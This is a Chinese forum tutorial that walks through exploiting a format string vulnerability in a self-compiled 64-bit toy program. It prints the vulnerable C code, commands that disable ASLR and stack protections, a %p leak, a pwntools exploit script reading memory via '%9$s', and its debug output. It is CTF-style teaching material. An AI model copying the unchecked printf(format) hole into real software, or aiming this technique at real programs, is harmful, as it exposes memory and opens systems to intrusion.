-
-
[分享]64位格式化字符串漏洞pwn入门
-
2021-8-10 14:45
9248
-
CTF竞赛权威指南PWN篇第166页参考程序
如下程序有格式化字符串漏洞,原文是编译成32位程序,为了增加难度,我编译成64位程序。以下我通过漏洞实现输入arg4的地址获取arg4的内容即ABCD。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | / / fmtdemo.c - o
void main()
{
char format [ 128 ];
int arg1 = 1 ,arg2 = 0x88888882 ,arg3 = - 1 ;
char arg4[ 10 ] = "ABCD" ;
scanf( "%s" , format );
printf( format ,arg1,arg2,arg3,arg4);
printf( "arg4的地址:%p\n" ,&arg4);
printf( "\n" );
}
|
做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)
1 | echo 0 > / proc / sys / kernel / randomize_va_space
|
2.编译时关闭CANARY,PIE。
1 | gcc - fno - stack - protector - no - pie fmtdemo.c - o fmtdemo
|
3.执行fmtdemo获取arg4的地址
1 2 3 | bigeast@ubuntu:~ / Desktop / attach$ . / fmt64
AAAA. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p. % p
AAAA. 0x1 . 0x88888882 . 0xffffffff . 0x7fffffffe060 .(nil). 0x44434241 .(nil). 0x2e70252e41414141 . 0x70252e70252e7025 . 0x252e70252e70252e . 0x2e70252e70252e70 . 0x70252e70252e7025 . 0x252e70252e70252e . 0x2e70252e70252e70 . 0x70252e7025 . 0x7fffffffe118 . 0xf0b6ff . 0x1 . 0x4006adarg4 的地址: 0x7fffffffe060
|
如上,AAAA(即41414141)在格式化字符串的后8个偏移。arg4的地址为0x7fffffffe060。
以下为PytHon2程序,注意要使用python2,python3的payload形式不一样。
1 2 3 4 5 6 7 8 9 10 11 12 | from pwn import *
context.log_level = 'debug'
file = ELF( "./fmt64" )
io = process( "./fmt64" )
addr_arg4 = 0x7fffffffe060
payload = 'A' * 4 + '%9$s' + p64(addr_arg4)
print (payload)
io.sendline(payload)
io.interactive()
|
执行fmt.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | bigeast@ubuntu:~ / Desktop / attach$ python fmt.py
[ * ] '/home/bigeast/Desktop/attach/fmt64'
Arch: amd64 - 64 - little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x400000 )
[ + ] Starting local process './fmt64' argv = [ './fmt64' ] : pid 2431
AAAA % 9 $s`���\xff\x7f\x00
[DEBUG] Sent 0x11 bytes:
00000000 41 41 41 41 25 39 24 73 60 e0 ff ff ff 7f 00 00 │AAAA│ % 9 $s│`···│····│
00000010 0a │·│
00000011
[ * ] Switching to interactive mode
[ * ] Process './fmt64' stopped with exit code 10 (pid 2431 )
[DEBUG] Received 0x2e bytes:
00000000 41 41 41 41 41 42 43 44 60 e0 ff ff ff 7f 61 72 │AAAA│ABCD│`···│··ar│
00000010 67 34 e7 9a 84 e5 9c b0 e5 9d 80 ef bc 9a 30 78 │g4··│····│····│·· 0x │
00000020 37 66 66 66 66 66 66 66 65 30 36 30 0a 0a │ 7fff │ffff│e060│··│
0000002e
AAAAABCD`���\xff\x7farg4的地址: 0x7fffffffe060
[ * ] Got EOF while reading in interactive
|
可以看到,上面输出AAAA后紧接着输出了ABCD,攻击成功!
总结:
1.arg4地址要放payload的最后,否则64位地址高位是0,小端存储时高位的0会被放在高地址处,读完arg4的地址时字符串就会被00截断。
2.'A'4+'%9$s'为8个字节,要注意对齐8字节。
3.'A'4+'%9$s'占用一个偏移。所以偏移=8+1=9
4.若为32位,且地址高位没有0,则payload构造为p32(addr_arg4)+'%8$s'.(偏移不一定为8,看情况)
参考文献
https://www.anquanke.com/post/id/194458
https://song-10.gitee.io/2019/12/15/pwn-2019-12-15-pwn-format-str-v/
https://chybeta.github.io/2017/06/26/ROP%E5%AD%A6%E4%B9%A0%EF%BC%9A64%E4%BD%8D%E6%A0%88%E6%BA%A2%E5%87%BA/
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法